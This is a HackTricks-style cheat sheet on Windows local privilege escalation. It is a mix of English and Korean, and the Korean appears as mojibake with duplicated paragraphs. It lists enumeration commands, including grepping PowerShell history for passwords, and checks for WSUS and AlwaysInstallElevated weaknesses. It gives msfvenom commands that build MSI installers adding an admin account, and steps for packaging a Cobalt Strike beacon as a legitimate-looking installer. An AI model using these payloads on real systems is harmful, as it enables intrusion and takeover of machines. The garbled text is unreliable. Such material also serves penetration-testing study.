Windows Local Privilege Escalation

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Windows local privilege escalation vectors๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•œ ์ตœ๊ณ ์˜ ๋„๊ตฌ: WinPEAS

Initial Windows Theory

Access Tokens

Windows Access Tokens๊ฐ€ ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅธ๋‹ค๋ฉด, ๊ณ„์†ํ•˜๊ธฐ ์ „์— ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์œผ์„ธ์š”:

Access Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEs์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Windows์˜ integrity levels๊ฐ€ ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅธ๋‹ค๋ฉด, ๊ณ„์†ํ•˜๊ธฐ ์ „์— ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ์œผ์„ธ์š”:

Integrity Levels

Windows Security Controls

Windows์—๋Š” ์‹œ์Šคํ…œ ์—ด๊ฑฐ๋ฅผ ๋ฐฉํ•ดํ•˜๊ฑฐ๋‚˜ ์‹คํ–‰ ํŒŒ์ผ ์‹คํ–‰์„ ๋ง‰๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ํ™œ๋™์„ ํƒ์ง€ํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ์š”์†Œ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. privilege escalation ์—ด๊ฑฐ๋ฅผ ์‹œ์ž‘ํ•˜๊ธฐ ์ „์— ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ์ฝ๊ณ  ์ด๋Ÿฌํ•œ ๋ชจ๋“  ๋ฐฉ์–ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์—ด๊ฑฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

Windows Security Controls

System Info

Version info enumeration

Windows ๋ฒ„์ „์— ์•Œ๋ ค์ง„ ์ทจ์•ฝ์ ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š” (์ ์šฉ๋œ ํŒจ์น˜๋„ ํ•จ๊ป˜ ํ™•์ธํ•˜์„ธ์š”).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

๋ฒ„์ „ ์ต์Šคํ”Œ๋กœ์ž‡

์ด site๋Š” Microsoft ๋ณด์•ˆ ์ทจ์•ฝ์ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ๊ฒ€์ƒ‰ํ•  ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—๋Š” 4,700๊ฐœ๊ฐ€ ๋„˜๋Š” ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด ๋“ฑ๋ก๋˜์–ด ์žˆ์œผ๋ฉฐ, ์ด๋Š” Windows ํ™˜๊ฒฝ์ด ์ œ๊ณตํ•˜๋Š” ๊ฑฐ๋Œ€ํ•œ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

์‹œ์Šคํ…œ์—์„œ

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

์‹œ์Šคํ…œ ์ •๋ณด๋กœ ๋กœ์ปฌ์—์„œ

์ต์Šคํ”Œ๋กœ์ž‡ Github ๋ฆฌํฌ์ง€ํ† ๋ฆฌ:

ํ™˜๊ฒฝ

env variables์— ์ž๊ฒฉ์ฆ๋ช…/๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ์ €์žฅ๋˜์–ด ์žˆ๋‚˜์š”?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell ๊ธฐ๋ก

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell ํŠธ๋žœ์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ

์ด ๊ธฐ๋Šฅ์„ ์ผœ๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

PowerShell ํŒŒ์ดํ”„๋ผ์ธ ์‹คํ–‰์˜ ์„ธ๋ถ€ ์ •๋ณด๊ฐ€ ๊ธฐ๋ก๋˜๋ฉฐ, ์‹คํ–‰๋œ ๋ช…๋ น, ๋ช…๋ น ํ˜ธ์ถœ ๋ฐ ์Šคํฌ๋ฆฝํŠธ์˜ ์ผ๋ถ€๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ „์ฒด ์‹คํ–‰ ์„ธ๋ถ€ ์ •๋ณด์™€ ์ถœ๋ ฅ ๊ฒฐ๊ณผ๋Š” ๋ชจ๋‘ ์บก์ฒ˜๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด ๋ฌธ์„œ์˜ โ€œTranscript filesโ€ ์„น์…˜์— ์žˆ๋Š” ์ง€์นจ์„ ๋”ฐ๋ฅด๊ณ , โ€œModule Loggingโ€ ๋Œ€์‹  **โ€œPowershell Transcriptionโ€**์„ ์„ ํƒํ•˜์„ธ์š”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Powershell ๋กœ๊ทธ์˜ ๋งˆ์ง€๋ง‰ 15๊ฐœ ์ด๋ฒคํŠธ๋ฅผ ๋ณด๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์˜ ๋ชจ๋“  ํ™œ๋™๊ณผ ์ „์ฒด ์ฝ˜ํ…์ธ  ๊ธฐ๋ก์ด ์บก์ฒ˜๋˜์–ด, ์ฝ”๋“œ์˜ ๊ฐ ๋ธ”๋ก์ด ์‹คํ–‰๋˜๋Š” ์ˆœ๊ฐ„๋งˆ๋‹ค ๋ฌธ์„œํ™”๋ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ๊ฐ ํ™œ๋™์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ๊ฐ์‚ฌ ์ถ”์ ์„ ๋ณด์กดํ•˜์—ฌ ํฌ๋ Œ์‹ ๋ฐ ์•…์„ฑ ํ–‰์œ„ ๋ถ„์„์— ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์‹คํ–‰ ์‹œ์ ์— ๋ชจ๋“  ํ™œ๋™์„ ๋ฌธ์„œํ™”ํ•จ์œผ๋กœ์จ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ์ƒ์„ธํ•œ ์ธ์‚ฌ์ดํŠธ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block์— ๋Œ€ํ•œ ๋กœ๊น… ์ด๋ฒคํŠธ๋Š” Windows ์ด๋ฒคํŠธ ๋ทฐ์–ด์˜ ๋‹ค์Œ ๊ฒฝ๋กœ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
์ตœ๊ทผ 20๊ฐœ์˜ ์ด๋ฒคํŠธ๋ฅผ ๋ณด๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

์ธํ„ฐ๋„ท ์„ค์ •

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

๋“œ๋ผ์ด๋ธŒ

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

์—…๋ฐ์ดํŠธ๊ฐ€ httpS๊ฐ€ ์•„๋‹ˆ๋ผ http๋กœ ์š”์ฒญ๋˜๋Š” ๊ฒฝ์šฐ ์‹œ์Šคํ…œ์„ ์นจํ•ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ ๋ช…๋ น์„ cmd์—์„œ ์‹คํ–‰ํ•˜์—ฌ ๋„คํŠธ์›Œํฌ๊ฐ€ non-SSL WSUS ์—…๋ฐ์ดํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

๋˜๋Š” PowerShell์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‘๋‹ต์„ ๋ฐ›๋Š” ๊ฒฝ์šฐ:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

๊ทธ๋ฆฌ๊ณ  HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ๋˜๋Š” Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" ์˜ ๊ฐ’์ด 1์ด๋ผ๋ฉด.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

๊ทธ๋Ÿฌ๋ฉด, ์•…์šฉ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋งˆ์ง€๋ง‰ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๊ฐ’์ด 0์ด๋ฉด WSUS ํ•ญ๋ชฉ์€ ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject โ€˜fakeโ€™ updates into non-SSL WSUS traffic.

์ด ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: Wsuxploit, pyWSUS - ์ด๋“ค์€ MiTM๋กœ ๋ฌด๊ธฐํ™”๋œ ์ต์Šคํ”Œ๋กœ์ž‡ ์Šคํฌ๋ฆฝํŠธ๋กœ non-SSL WSUS ํŠธ๋ž˜ํ”ฝ์— โ€˜๊ฐ€์งœโ€™ ์—…๋ฐ์ดํŠธ๋ฅผ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค.

Read the research here:

์—ฐ๊ตฌ๋Š” ๋‹ค์Œ์—์„œ ํ™•์ธํ•˜์„ธ์š”:

WSUS CVE-2020-1013

Read the complete report here.
์ „์ฒด ๋ณด๊ณ ์„œ๋Š” ์—ฌ๊ธฐ์„œ ์ฝ์–ด๋ณด์„ธ์š”.
Basically, this is the flaw that this bug exploits:

๊ธฐ๋ณธ์ ์œผ๋กœ ์ด ๋ฒ„๊ทธ๊ฐ€ ์•…์šฉํ•˜๋Š” ๊ฒฐํ•จ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorerโ€™s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

๋กœ์ปฌ ์‚ฌ์šฉ์ž ํ”„๋ก์‹œ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ๊ณ  Windows Updates๊ฐ€ Internet Explorer ์„ค์ •์— ๊ตฌ์„ฑ๋œ ํ”„๋ก์‹œ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด, ์šฐ๋ฆฌ๋Š” ๋กœ์ปฌ์—์„œ PyWSUS๋ฅผ ์‹คํ–‰ํ•ด ์ž์‹ ์˜ ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑ„๊ณ  ์ž์‚ฐ์—์„œ ๊ถŒํ•œ ์ƒ์Šน๋œ ์‚ฌ์šฉ์ž๋กœ์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Furthermore, since the WSUS service uses the current userโ€™s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current userโ€™s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

๋˜ํ•œ WSUS ์„œ๋น„์Šค๋Š” ํ˜„์žฌ ์‚ฌ์šฉ์ž์˜ ์„ค์ •์„ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ ํ•ด๋‹น ์‚ฌ์šฉ์ž์˜ ์ธ์ฆ์„œ ์ €์žฅ์†Œ๋„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. WSUS ํ˜ธ์ŠคํŠธ๋ช…์— ๋Œ€ํ•œ ์ž์ฒด ์„œ๋ช… ์ธ์ฆ์„œ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ด๋ฅผ ํ˜„์žฌ ์‚ฌ์šฉ์ž์˜ ์ธ์ฆ์„œ ์ €์žฅ์†Œ์— ์ถ”๊ฐ€ํ•˜๋ฉด HTTP ๋ฐ HTTPS WSUS ํŠธ๋ž˜ํ”ฝ์„ ๋ชจ๋‘ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. WSUS๋Š” ์ธ์ฆ์„œ์— ๋Œ€ํ•ด trust-on-first-use ์œ ํ˜•์˜ ๊ฒ€์ฆ์„ ๊ตฌํ˜„ํ•˜๋Š” HSTS์™€ ์œ ์‚ฌํ•œ ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ์‚ฌ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ œ์‹œ๋œ ์ธ์ฆ์„œ๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ์‹ ๋ขฐํ•˜๊ณ  ์˜ฌ๋ฐ”๋ฅธ ํ˜ธ์ŠคํŠธ๋ช…์„ ํฌํ•จํ•˜๋ฉด ์„œ๋น„์Šค์—์„œ ์ด๋ฅผ ์ˆ˜๋ฝํ•ฉ๋‹ˆ๋‹ค.

You can exploit this vulnerability using the tool WSUSpicious (once itโ€™s liberated).

์ด ์ทจ์•ฝ์ ์€ ๋„๊ตฌ WSUSpicious (๊ณต๊ฐœ๋˜๋ฉด)๋ฅผ ์‚ฌ์šฉํ•ด ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Third-Party Auto-Updaters and Agent IPC (local privesc)

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain โ€“ CVE-2025-0309) here:

๋งŽ์€ ์—”ํ„ฐํ”„๋ผ์ด์ฆˆ ์—์ด์ „ํŠธ๋Š” localhost IPC ์ธํ„ฐํŽ˜์ด์Šค์™€ ๊ถŒํ•œ ์žˆ๋Š” ์—…๋ฐ์ดํŠธ ์ฑ„๋„์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ๋“ฑ๋ก(enrollment)์ด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„๋กœ ์œ ๋„๋  ์ˆ˜ ์žˆ๊ณ  ์—…๋ฐ์ดํŠธ ํ”„๋กœ๊ทธ๋žจ์ด ์•…์„ฑ ๋ฃจํŠธ CA๋‚˜ ์ทจ์•ฝํ•œ ์„œ๋ช… ๊ฒ€์ฆ์„ ์‹ ๋ขฐํ•˜๋ฉด, ๋กœ์ปฌ ์‚ฌ์šฉ์ž๋Š” SYSTEM ์„œ๋น„์Šค๊ฐ€ ์„ค์น˜ํ•˜๋Š” ์•…์„ฑ MSI๋ฅผ ์ „๋‹ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜ํ™”๋œ ๊ธฐ๋ฒ•(Netskope stAgentSvc ์ฒด์ธ ๊ธฐ๋ฐ˜ โ€“ CVE-2025-0309)์€ ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

Abusing Auto Updaters And Ipc

KrbRelayUp

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

ํŠน์ • ์กฐ๊ฑด์—์„œ Windows domain ํ™˜๊ฒฝ์—๋Š” ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน(local privilege escalation) ์ทจ์•ฝ์ ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์กฐ๊ฑด์—๋Š” LDAP signing์ด ๊ฐ•์ œ๋˜์ง€ ์•Š๋Š” ํ™˜๊ฒฝ, ์‚ฌ์šฉ์ž๊ฐ€ **Resource-Based Constrained Delegation (RBCD)**๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ์ž์ฒด ๊ถŒํ•œ(self-rights)์„ ๋ณด์œ ํ•œ ๊ฒฝ์šฐ, ๊ทธ๋ฆฌ๊ณ  ์‚ฌ์šฉ์ž๊ฐ€ ๋„๋ฉ”์ธ ๋‚ด์— ์ปดํ“จํ„ฐ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ์ด ์š”๊ตฌ์‚ฌํ•ญ๋“ค์€ ๊ธฐ๋ณธ ์„ค์ •์œผ๋กœ๋„ ์ถฉ์กฑ๋œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

์ต์Šคํ”Œ๋กœ์ž‡์€ ๋‹ค์Œ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

๊ณต๊ฒฉ ํ๋ฆ„์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”: https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

์ด ๋‘ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ•ญ๋ชฉ์ด ํ™œ์„ฑํ™”(๊ฐ’์ด 0x1) ๋˜์–ด ์žˆ์œผ๋ฉด, ๋ชจ๋“  ๊ถŒํ•œ ์ˆ˜์ค€์˜ ์‚ฌ์šฉ์ž๊ฐ€ *.msi ํŒŒ์ผ์„ NT AUTHORITY\SYSTEM ๊ถŒํ•œ์œผ๋กœ ์„ค์น˜(์‹คํ–‰) ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated

PowerUP

ํ˜„์žฌ ๋””๋ ‰ํ„ฐ๋ฆฌ ์•ˆ์— ๊ถŒํ•œ ์ƒ์Šน์šฉ Windows MSI ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•˜๋ ค๋ฉด power-up์˜ Write-UserAddMSI ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์„ธ์š”. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ์‚ฌ์šฉ์ž/๊ทธ๋ฃน ์ถ”๊ฐ€๋ฅผ ๋ฌป๋Š” ์‚ฌ์ „ ์ปดํŒŒ์ผ๋œ MSI ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค(๋”ฐ๋ผ์„œ GIU ์ ‘๊ทผ ๊ถŒํ•œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค):

Write-UserAddMSI

์ƒ์„ฑ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

MSI Wrapper

์ด ํŠœํ† ๋ฆฌ์–ผ์„ ์ฝ์–ด MSI wrapper๋ฅผ ๋งŒ๋“œ๋Š” ๋ฐฉ๋ฒ•์„ ๋ฐฐ์šฐ์„ธ์š”. ์ฐธ๊ณ ๋กœ, .bat ํŒŒ์ผ์„ ๋ž˜ํ•‘ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹จ์ง€ ๋ช…๋ น์ค„์„ ์‹คํ–‰ํ•˜๋ ค๋Š” ๊ฒฝ์šฐ์— ์ ํ•ฉํ•ฉ๋‹ˆ๋‹ค

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Cobalt Strike ๋˜๋Š” Metasploit์œผ๋กœ C:\privesc\beacon.exe์— new Windows EXE TCP payload๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”
  • Visual Studio๋ฅผ ์—ด๊ณ , Create a new project๋ฅผ ์„ ํƒํ•œ ๋’ค ๊ฒ€์ƒ‰ ์ƒ์ž์— โ€œinstallerโ€œ๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”. Setup Wizard ํ”„๋กœ์ ํŠธ๋ฅผ ์„ ํƒํ•˜๊ณ  Next๋ฅผ ํด๋ฆญํ•˜์„ธ์š”.
  • ํ”„๋กœ์ ํŠธ ์ด๋ฆ„์„ ์˜ˆ: AlwaysPrivesc๋กœ ์ง€์ •ํ•˜๊ณ , ์œ„์น˜๋กœ **C:\privesc**๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. place solution and project in the same directory๋ฅผ ์„ ํƒํ•˜๊ณ  Create๋ฅผ ํด๋ฆญํ•˜์„ธ์š”.
  • ํฌํ•จํ•  ํŒŒ์ผ์„ ์„ ํƒํ•˜๋Š” 4๋‹จ๊ณ„ ์ค‘ 3๋‹จ๊ณ„์— ๋„๋‹ฌํ•  ๋•Œ๊นŒ์ง€ Next๋ฅผ ๊ณ„์† ํด๋ฆญํ•˜์„ธ์š”. Add๋ฅผ ํด๋ฆญํ•˜๊ณ  ๋ฐฉ๊ธˆ ์ƒ์„ฑํ•œ Beacon payload๋ฅผ ์„ ํƒํ•œ ๋‹ค์Œ Finish๋ฅผ ํด๋ฆญํ•˜์„ธ์š”.
  • Solution Explorer์—์„œ AlwaysPrivesc ํ”„๋กœ์ ํŠธ๋ฅผ ์„ ํƒํ•˜๊ณ , Properties์—์„œ TargetPlatform์„ x86์—์„œ x64๋กœ ๋ณ€๊ฒฝํ•˜์„ธ์š”.
  • ์„ค์น˜๋œ ์•ฑ์„ ๋” ์ •๋‹นํ•˜๊ฒŒ ๋ณด์ด๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด Author, Manufacturer ๊ฐ™์€ ๋‹ค๋ฅธ ์†์„ฑ๋“ค๋„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ํ”„๋กœ์ ํŠธ๋ฅผ ์šฐํด๋ฆญํ•˜๊ณ  View > Custom Actions๋ฅผ ์„ ํƒํ•˜์„ธ์š”.
  • Install์„ ์šฐํด๋ฆญํ•˜๊ณ  Add Custom Action์„ ์„ ํƒํ•˜์„ธ์š”.
  • Application Folder๋ฅผ ๋”๋ธ”ํด๋ฆญํ•˜๊ณ , beacon.exe ํŒŒ์ผ์„ ์„ ํƒํ•œ ๋‹ค์Œ OK๋ฅผ ํด๋ฆญํ•˜์„ธ์š”. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ธ์Šคํ†จ๋Ÿฌ๊ฐ€ ์‹คํ–‰๋˜๋ฉด ์ฆ‰์‹œ beacon payload๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  • Custom Action Properties์—์„œ Run64Bit๋ฅผ True๋กœ ๋ณ€๊ฒฝํ•˜์„ธ์š”.
  • ๋งˆ์ง€๋ง‰์œผ๋กœ ๋นŒ๋“œํ•˜์„ธ์š”.
  • ๊ฒฝ๊ณ  File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'๊ฐ€ ํ‘œ์‹œ๋˜๋ฉด ํ”Œ๋žซํผ์„ x64๋กœ ์„ค์ •ํ–ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.

MSI Installation

